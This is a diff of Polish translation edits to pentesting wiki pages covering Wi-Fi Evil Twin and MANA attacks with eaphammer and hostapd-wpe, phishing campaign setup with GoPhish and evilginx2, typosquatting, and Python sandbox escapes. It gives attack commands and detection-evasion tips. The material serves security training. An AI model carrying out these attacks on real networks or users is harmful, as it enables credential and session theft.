Możesz stworzyć **Evil Twin używając WPA/2** i jeśli urządzenia są skonfigurowane do łączenia się z tym SSID za pomocą WPA/2, będą próbować się połączyć. Tak czy inaczej, **aby zakończyć 4-way-handshake** musisz również **znać** **hasło**, które klient zamierza użyć. Jeśli **nie znasz** go, **połączenie nie zostanie zakończone**.
Możesz stworzyć **Evil Twin używając WPA/2** i jeśli urządzenia są skonfigurowane do łączenia się z tym SSID z WPA/2, będą próbować się połączyć. Tak czy inaczej, **aby zakończyć 4-way-handshake** musisz również **znać** **hasło**, które klient zamierza użyć. Jeśli **nie znasz** go, **połączenie nie zostanie zakończone**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Enterprise Evil Twin
Aby zrozumieć te ataki, zalecałbym przeczytanie wcześniej krótkiego [wyjaśnienia WPA Enterprise](./#wpa-enterprise-mgt).
Aby zrozumieć te ataki, zalecałbym przeczytanie wcześniej krótkiego [wyjaśnienia WPA Enterprise](#wpa-enterprise-mgt).
**Używanie hostapd-wpe**
`hostapd-wpe` potrzebuje pliku **konfiguracyjnego**, aby działać. Aby **zautomatyzować** generowanie tych konfiguracji, możesz użyć [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (pobierz plik python znajdujący się w _/etc/hostapd-wpe/_).
`hostapd-wpe` potrzebuje pliku **konfiguracyjnego**, aby działać. Aby **zautomatyzować** generowanie tych konfiguracji, możesz użyć [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (pobierz plik python w _/etc/hostapd-wpe/_).
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
@ -557,48 +557,18 @@ Lub możesz również użyć:
- `--negotiate gtc-downgrade`, aby użyć wysoce wydajnej implementacji GTC downgrade (hasła w postaci czystego tekstu)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, aby ręcznie określić oferowane metody (oferowanie tych samych metod uwierzytelniania w tej samej kolejności, co organizacja, znacznie utrudni wykrycie ataku).
- [Znajdź więcej informacji w wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Używanie Airgeddon**
`Airgeddon` może używać wcześniej wygenerowanych certyfikatów do oferowania uwierzytelniania EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, aby móc **złapać użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
`Airgeddon` może używać wcześniej wygenerowanych certyfikatów do oferowania uwierzytelniania EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, aby móc **przechwycić użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
`Airgeddon` oferuje możliwość **ciągłego ataku Evil Twin (hałaśliwego)** lub **tylko stworzenia ataku Evil do momentu, gdy ktoś się połączy (cichego).**
![](<../../images/image (936).png>)
### Debugowanie tuneli TLS PEAP i EAP-TTLS w atakach Evil Twins
_Ta metoda została przetestowana w połączeniu PEAP, ale ponieważ odszyfrowuję dowolny tunel TLS, powinna również działać z EAP-TTLS._
W **konfiguracji** _hostapd-wpe_ **zakomentuj** linię, która zawiera _**dh_file**_ (z `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
To spowoduje, że `hostapd-wpe` będzie **wymieniać klucze za pomocą RSA** zamiast DH, więc będziesz mógł **odszyfrować** ruch później **znając prywatny klucz serwera**.
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** w **interfejsie**, który przeprowadza atak Evil Twin.
Teraz lub później (gdy już przechwyciłeś kilka prób uwierzytelnienia) możesz dodać prywatny klucz RSA do wireshark w: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Dodaj nowy wpis i wypełnij formularz tymi wartościami: **Adres IP = dowolny** -- **Port = 0** -- **Protokół = data** -- **Plik klucza** (**wybierz swój plik klucza**, aby uniknąć problemów, wybierz plik klucza **bez ochrony hasłem**).
![](<../../images/image (687).png>)
I spójrz na nową **zakładkę "Decrypted TLS"**:
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA i atak na znane beacony
### Czarne/białe listy ESSID i MAC
Różne typy list filtrów dostępu do mediów (MFACL) oraz ich odpowiadające tryby i efekty na zachowanie fałszywego punktu dostępu (AP):
1. **Biała lista oparta na MAC**:
- Fałszywy AP będzie odpowiadał tylko na zapytania probe od urządzeń określonych na białej liście, pozostając niewidoczny dla wszystkich innych, które nie są wymienione.
2. **Czarna lista oparta na MAC**:
- Fałszywy AP zignoruje zapytania probe od urządzeń na czarnej liście, skutecznie czyniąc fałszywy AP niewidocznym dla tych konkretnych urządzeń.
3. **Biała lista oparta na SSID**:
- Fałszywy AP będzie odpowiadał na zapytania probe tylko dla określonych ESSID-ów wymienionych na liście, czyniąc go niewidocznym dla urządzeń, których preferencyjne listy sieci (PNL) nie zawierają tych ESSID-ów.
4. **Czarna lista oparta na SSID**:
- Fałszywy AP nie będzie odpowiadał na zapytania probe dla konkretnych ESSID-ów na czarnej liście, czyniąc go niewidocznym dla urządzeń poszukujących tych konkretnych sieci.
_Ta metoda
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -620,19 +590,19 @@ name3
```
### KARMA
Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego (AP), który odpowiada na wszystkie zapytania probe** od urządzeń próbujących połączyć się z sieciami. Ta technika **oszukuje urządzenia, zmuszając je do połączenia się z AP atakującego** poprzez naśladowanie sieci, których urządzenia szukają. Gdy urządzenie wysyła żądanie połączenia do tego nieuczciwego AP, nawiązuje połączenie, co prowadzi do błędnego połączenia urządzenia z siecią atakującego.
Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego (AP), który odpowiada na wszystkie zapytania probe** od urządzeń próbujących połączyć się z sieciami. Ta technika **oszukuje urządzenia, zmuszając je do połączenia się z AP atakującego** poprzez naśladowanie sieci, których urządzenia szukają. Gdy urządzenie wysyła żądanie połączenia do tego fałszywego AP, nawiązuje połączenie, co prowadzi do błędnego połączenia urządzenia z siecią atakującego.
### MANA
Następnie **urządzenia zaczęły ignorować niezamówione odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że nieuczciwy AP **przechwytuje listy preferowanych sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były solicytowane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Następnie **urządzenia zaczęły ignorować niezamówione odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że fałszywy AP **przechwytuje listy preferowanych sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były poszukiwane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłoszone zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi którejkolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z nieuczciwym AP.
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłoszone zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi któremukolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z fałszywym AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Lista Preferowanych Sieci (PNL) jest nieznana atakującemu. Działa na zasadzie, że **urządzenia w tej samej okolicy prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znaną sieć i spróbuje połączyć się z nieautoryzowanym punktem dostępowym (AP).
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Preferowane Listy Sieci (PNL) są nieznane atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z nieautoryzowanym Punktem Dostępowym (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
@ -640,13 +610,13 @@ Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kier
Gdy **atak Loud MANA** może nie wystarczyć, **atak znanych beaconów** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID-u w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud`, aby uzyskać bardziej agresywną próbę przechwycenia urządzeń.
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y z listy są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + znane beacony):
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y w liście są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + znane beacony):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Atak znanego wybuchu sygnału**
Atak **znanego wybuchu sygnału** polega na **szybkim nadawaniu ramek sygnałowych dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym AP, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
Atak **znanego wybuchu sygnału** polega na **szybkim nadawaniu ramek sygnałowych dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym punktem dostępowym, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -659,7 +629,7 @@ Atak **znanego wybuchu sygnału** polega na **szybkim nadawaniu ramek sygnałowy
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie łączenie się ze sobą za pomocą Wi-Fi bez potrzeby tradycyjnego punktu dostępowego. Ta funkcjonalność jest zintegrowana w różnych urządzeniach Internetu Rzeczy (IoT), takich jak drukarki i telewizory, ułatwiając bezpośrednią komunikację między urządzeniami. Ciekawą cechą Wi-Fi Direct jest to, że jedno urządzenie pełni rolę punktu dostępowego, znanego jako właściciel grupy, aby zarządzać połączeniem.
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane przez **Wi-Fi Protected Setup (WPS)**, który wspiera kilka metod bezpiecznego parowania, w tym:
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, które wspiera kilka metod bezpiecznego parowania, w tym:
- **Push-Button Configuration (PBC)**
- **PIN entry**

View File

@ -23,14 +23,14 @@
- **Słowo kluczowe**: Nazwa domeny **zawiera** ważne **słowo kluczowe** oryginalnej domeny (np. zelster.com-management.com).
- **poddomena z myślnikiem**: Zmień **kropkę na myślnik** w poddomenie (np. www-zelster.com).
- **Nowe TLD**: Ta sama domena z użyciem **nowego TLD** (np. zelster.org).
- **Nowe TLD**: Ta sama domena używająca **nowego TLD** (np. zelster.org).
- **Homoglif**: **Zastępuje** literę w nazwie domeny **literami, które wyglądają podobnie** (np. zelfser.com).
- **Transpozycja:** **Zamienia dwie litery** w nazwie domeny (np. zelsetr.com).
- **Liczba pojedyncza/mnoga**: Dodaje lub usuwa „s” na końcu nazwy domeny (np. zeltsers.com).
- **Ominięcie**: **Usuwa jedną** z liter z nazwy domeny (np. zelser.com).
- **Powtórzenie:** **Powtarza jedną** z liter w nazwie domeny (np. zeltsser.com).
- **Zamiana**: Jak homoglif, ale mniej dyskretny. Zastępuje jedną z liter w nazwie domeny, być może literą bliską oryginalnej literze na klawiaturze (np. zektser.com).
- **Poddomenowanie**: Wprowadza **kropkę** wewnątrz nazwy domeny (np. ze.lster.com).
- **Poddomenowana**: Wprowadza **kropkę** wewnątrz nazwy domeny (np. ze.lster.com).
- **Wstawienie**: **Wstawia literę** do nazwy domeny (np. zerltser.com).
- **Brak kropki**: Dołącz TLD do nazwy domeny. (np. zelstercom.com)
@ -47,7 +47,7 @@
### Bitflipping
Istnieje **możliwość, że jeden z bitów przechowywanych lub w komunikacji może zostać automatycznie zmieniony** z powodu różnych czynników, takich jak wybuchy słoneczne, promieniowanie kosmiczne lub błędy sprzętowe.
Istnieje **możliwość, że jeden z bitów przechowywanych lub w komunikacji może zostać automatycznie zmieniony** z powodu różnych czynników, takich jak burze słoneczne, promieniowanie kosmiczne lub błędy sprzętowe.
Gdy ten koncept jest **stosowany do zapytań DNS**, możliwe jest, że **domena odebrana przez serwer DNS** nie jest taka sama jak domena pierwotnie żądana.
@ -60,7 +60,7 @@ Aby uzyskać więcej informacji, przeczytaj [https://www.bleepingcomputer.com/ne
### Kup zaufaną domenę
Możesz poszukać na [https://www.expireddomains.net/](https://www.expireddomains.net) wygasłej domeny, którą mógłbyś użyć.\
Aby upewnić się, że wygasła domena, którą zamierzasz kupić, **ma już dobrą SEO**, możesz sprawdzić, jak jest sklasyfikowana w:
Aby upewnić się, że wygasła domena, którą zamierzasz kupić **ma już dobrą SEO**, możesz sprawdzić, jak jest sklasyfikowana w:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -73,14 +73,14 @@ Aby upewnić się, że wygasła domena, którą zamierzasz kupić, **ma już dob
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Aby **odkryć więcej** ważnych adresów e-mail lub **zweryfikować te, które** już odkryłeś, możesz sprawdzić, czy możesz przeprowadzić brute-force na serwerach smtp ofiary. [Dowiedz się, jak zweryfikować/odkryć adres e-mail tutaj](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Aby **odkryć więcej** ważnych adresów e-mail lub **zweryfikować te, które** już odkryłeś, możesz sprawdzić, czy możesz przeprowadzić brute-force na serwerach smtp ofiary. [Dowiedz się, jak zweryfikować/odkryć adres e-mail tutaj](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Ponadto nie zapomnij, że jeśli użytkownicy korzystają z **jakiegokolwiek portalu internetowego do dostępu do swoich e-maili**, możesz sprawdzić, czy jest on podatny na **brute force nazwy użytkownika** i wykorzystać tę podatność, jeśli to możliwe.
## Konfigurowanie GoPhish
### Instalacja
Możesz pobrać go z [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Możesz go pobrać z [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Pobierz i rozpakuj go w `/opt/gophish` i uruchom `/opt/gophish/gophish`\
Otrzymasz hasło dla użytkownika admin na porcie 3333 w wyjściu. Dlatego uzyskaj dostęp do tego portu i użyj tych danych logowania, aby zmienić hasło administratora. Może być konieczne tunelowanie tego portu do lokalnego:
@ -119,12 +119,12 @@ Następnie dodaj domenę do następujących plików:
**Zmień także wartości następujących zmiennych w /etc/postfix/main.cf**
`myhostname = <domena>`\
`mydestination = $myhostname, <domena>, localhost.com, localhost`
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Na koniec zmodyfikuj pliki **`/etc/hostname`** i **`/etc/mailname`** na swoją nazwę domeny i **zrestartuj swój VPS.**
Teraz stwórz **rekord A DNS** dla `mail.<domena>` wskazujący na **adres IP** VPS oraz **rekord MX DNS** wskazujący na `mail.<domena>`
Teraz utwórz **rekord A DNS** dla `mail.<domain>` wskazujący na **adres IP** VPS oraz **rekord MX DNS** wskazujący na `mail.<domain>`
Teraz przetestuj wysyłanie e-maila:
```bash
@ -133,7 +133,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
```
**Konfiguracja Gophish**
Zatrzymaj wykonywanie gophish i skonfigurujmy go.\
Zatrzymaj wykonywanie gophish i skonfiguruj go.\
Zmień `/opt/gophish/config.json` na następujące (zwróć uwagę na użycie https):
```bash
{
@ -219,7 +219,7 @@ service gophish status
ss -l | grep "3333\|443"
service gophish stop
```
## Konfigurowanie serwera pocztowego i domeny
## Konfiguracja serwera pocztowego i domeny
### Czekaj i bądź legitny
@ -227,25 +227,25 @@ Im starsza domena, tym mniej prawdopodobne, że zostanie uznana za spam. Dlatego
Zauważ, że nawet jeśli musisz czekać tydzień, możesz teraz zakończyć konfigurację wszystkiego.
### Skonfiguruj rekord odwrotnego DNS (rDNS)
### Skonfiguruj rekord Reverse DNS (rDNS)
Ustaw rekord rDNS (PTR), który rozwiązuje adres IP VPS na nazwę domeny.
### Rekord Sender Policy Framework (SPF)
Musisz **skonfigurować rekord SPF dla nowej domeny**. Jeśli nie wiesz, co to jest rekord SPF [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#spf).
Musisz **skonfigurować rekord SPF dla nowej domeny**. Jeśli nie wiesz, czym jest rekord SPF [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Możesz użyć [https://www.spfwizard.net/](https://www.spfwizard.net) do wygenerowania swojej polityki SPF (użyj adresu IP maszyny VPS)
![](<../../images/image (1037).png>)
To jest zawartość, która musi być ustawiona w rekordzie TXT w domenie:
To jest zawartość, która musi być ustawiona wewnątrz rekordu TXT w domenie:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Rekord uwierzytelniania wiadomości opartego na domenie, raportowania i zgodności (DMARC)
Musisz **skonfigurować rekord DMARC dla nowej domeny**. Jeśli nie wiesz, czym jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Musisz **skonfigurować rekord DMARC dla nowej domeny**. Jeśli nie wiesz, czym jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Musisz utworzyć nowy rekord DNS TXT wskazujący na nazwę hosta `_dmarc.<domain>` z następującą treścią:
```bash
@ -253,7 +253,7 @@ v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Musisz **skonfigurować DKIM dla nowej domeny**. Jeśli nie wiesz, co to jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/#dkim).
Musisz **skonfigurować DKIM dla nowej domeny**. Jeśli nie wiesz, czym jest rekord DMARC [**przeczytaj tę stronę**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Ten samouczek oparty jest na: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
@ -264,7 +264,7 @@ Ten samouczek oparty jest na: [https://www.digitalocean.com/community/tutorials/
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
### Testuj wynik konfiguracji swojego e-maila
### Testuj wynik konfiguracji e-maila
Możesz to zrobić, korzystając z [https://www.mail-tester.com/](https://www.mail-tester.com)\
Po prostu wejdź na stronę i wyślij e-mail na adres, który ci podadzą:
@ -289,29 +289,29 @@ Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Usuwanie z czarnej listy Spamhouse
### Usuwanie z Czarnej Listy Spamhouse
Strona [www.mail-tester.com](https://www.mail-tester.com) może wskazać, czy Twoja domena jest blokowana przez spamhouse. Możesz poprosić o usunięcie swojej domeny/IP pod adresem: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Usuwanie z czarnej listy Microsoft
### Usuwanie z Czarnej Listy Microsoft
Możesz poprosić o usunięcie swojej domeny/IP pod adresem [https://sender.office.com/](https://sender.office.com).
## Utwórz i uruchom kampanię GoPhish
## Utwórz i Uruchom Kampanię GoPhish
### Profil wysyłania
### Profil Wysyłania
- Ustaw **nazwę identyfikującą** profil nadawcy
- Zdecyduj, z którego konta będziesz wysyłać e-maile phishingowe. Sugestie: _noreply, support, servicedesk, salesforce..._
- Zdecyduj, z którego konta będziesz wysyłać phishingowe e-maile. Sugestie: _noreply, support, servicedesk, salesforce..._
- Możesz pozostawić puste nazwę użytkownika i hasło, ale upewnij się, że zaznaczyłeś Ignoruj błędy certyfikatu
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> Zaleca się korzystanie z funkcji "**Wyślij e-mail testowy**", aby sprawdzić, czy wszystko działa.\
> Zalecałbym **wysyłanie e-maili testowych na adresy 10min mail**, aby uniknąć dodania do czarnej listy podczas testów.
### Szablon e-mail
### Szablon E-mail
- Ustaw **nazwę identyfikującą** szablon
- Następnie napisz **temat** (nic dziwnego, po prostu coś, co mógłbyś oczekiwać w zwykłym e-mailu)
@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Zauważ, że **aby zwiększyć wiarygodność e-maila**, zaleca się użycie jakiegoś podpisu z e-maila klienta. Sugestie:
Zauważ, że **aby zwiększyć wiarygodność e-maila**, zaleca się użycie jakiegoś podpisu z e-maila od klienta. Sugestie:
- Wyślij e-mail na **nieistniejący adres** i sprawdź, czy odpowiedź zawiera jakiś podpis.
- Szukaj **publicznych e-maili** takich jak info@ex.com lub press@ex.com lub public@ex.com i wyślij im e-mail, a następnie czekaj na odpowiedź.
@ -357,7 +357,7 @@ Zauważ, że **aby zwiększyć wiarygodność e-maila**, zaleca się użycie jak
> [!NOTE]
> Zazwyczaj będziesz musiał zmodyfikować kod HTML strony i przeprowadzić kilka testów lokalnie (może używając jakiegoś serwera Apache) **aż do uzyskania zadowalających wyników.** Następnie wpisz ten kod HTML w polu.\
> Zauważ, że jeśli musisz **użyć jakichś statycznych zasobów** dla HTML (może jakieś strony CSS i JS), możesz je zapisać w _**/opt/gophish/static/endpoint**_ i następnie uzyskać do nich dostęp z _**/static/\<filename>**_
> Zauważ, że jeśli potrzebujesz **użyć jakichś statycznych zasobów** dla HTML (może jakieś strony CSS i JS), możesz je zapisać w _**/opt/gophish/static/endpoint**_ i następnie uzyskać do nich dostęp z _**/static/\<filename>**_
> [!NOTE]
> W przypadku przekierowania możesz **przekierować użytkowników na legitną główną stronę internetową** ofiary lub przekierować ich na _/static/migration.html_, na przykład, umieścić jakiś **kręcący się kółko (**[**https://loading.io/**](https://loading.io)**) przez 5 sekund, a następnie wskazać, że proces zakończył się sukcesem**.
@ -408,13 +408,13 @@ Poprzedni atak jest dość sprytny, ponieważ podszywasz się pod prawdziwą str
Tutaj przydatne są narzędzia takie jak [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). To narzędzie pozwoli ci wygenerować atak typu MitM. Zasadniczo atak działa w następujący sposób:
1. **Podszywasz się pod formularz logowania** prawdziwej strony internetowej.
2. Użytkownik **wysyła** swoje **dane logowania** na twoją fałszywą stronę, a narzędzie wysyła je do prawdziwej strony internetowej, **sprawdzając, czy dane logowania działają**.
3. Jeśli konto jest skonfigurowane z **2FA**, strona MitM poprosi o to, a gdy **użytkownik wprowadzi** to, narzędzie wyśle to do prawdziwej strony internetowej.
2. Użytkownik **wysyła** swoje **dane logowania** na twoją fałszywą stronę, a narzędzie wysyła je na prawdziwą stronę internetową, **sprawdzając, czy dane logowania działają**.
3. Jeśli konto jest skonfigurowane z **2FA**, strona MitM poprosi o to, a gdy **użytkownik wprowadzi** to, narzędzie wyśle to na prawdziwą stronę internetową.
4. Gdy użytkownik zostanie uwierzytelniony, ty (jako atakujący) będziesz miał **przechwycone dane logowania, 2FA, ciasteczka i wszelkie informacje** z każdej interakcji, podczas gdy narzędzie wykonuje atak MitM.
### Poprzez VNC
Co jeśli zamiast **wysyłać ofiarę na złośliwą stronę** o takim samym wyglądzie jak oryginalna, wyślesz go do **sesji VNC z przeglądarką połączoną z prawdziwą stroną internetową**? Będziesz mógł zobaczyć, co robi, ukraść hasło, używane MFA, ciasteczka...\
Co jeśli zamiast **wysyłać ofiarę na złośliwą stronę** o takim samym wyglądzie jak oryginalna, wyślesz go do **sesji VNC z przeglądarką połączoną z prawdziwą stroną internetową**? Będziesz mógł zobaczyć, co robi, ukraść hasło, używaną MFA, ciasteczka...\
Możesz to zrobić za pomocą [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Wykrywanie wykrycia
@ -434,7 +434,7 @@ Możesz **kupić domenę o bardzo podobnej nazwie** do domeny ofiary **i/lub wyg
Użyj [**Phishious** ](https://github.com/Rices/Phishious), aby ocenić, czy twój e-mail trafi do folderu spam lub czy zostanie zablokowany lub odniesie sukces.
## Referencje
## Odniesienia
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)

View File

@ -1,11 +1,11 @@
# Ucieczka z piaskownicy Pythona i Pyscript
# Python Sandbox Escape & Pyscript
{{#include ../../banners/hacktricks-training.md}}
**Interesujące strony do sprawdzenia:**
- [**Sztuczki hackingowe Pyscript**](pyscript.md)
- [**Deserializacje Pythona**](../../pentesting-web/deserialization/#python)
- [**Deserializacje w Pythonie**](../../pentesting-web/deserialization/index.html#python)
- [**Sztuczki do omijania piaskownic Pythona**](bypass-python-sandboxes/)
- [**Podstawowa składnia żądań webowych w Pythonie**](web-requests.md)
- [**Podstawowa składnia Pythona i biblioteki**](basic-python.md)

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
To są pewne sztuczki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
## Biblioteki do wykonywania poleceń
@ -45,7 +44,7 @@ Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytani
> [!CAUTION]
> Funkcja **input()** w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.
Python próbuje **załadować biblioteki z bieżącego katalogu jako pierwsze** (następujące polecenie wydrukuje, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (następujące polecenie wydrukuje, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
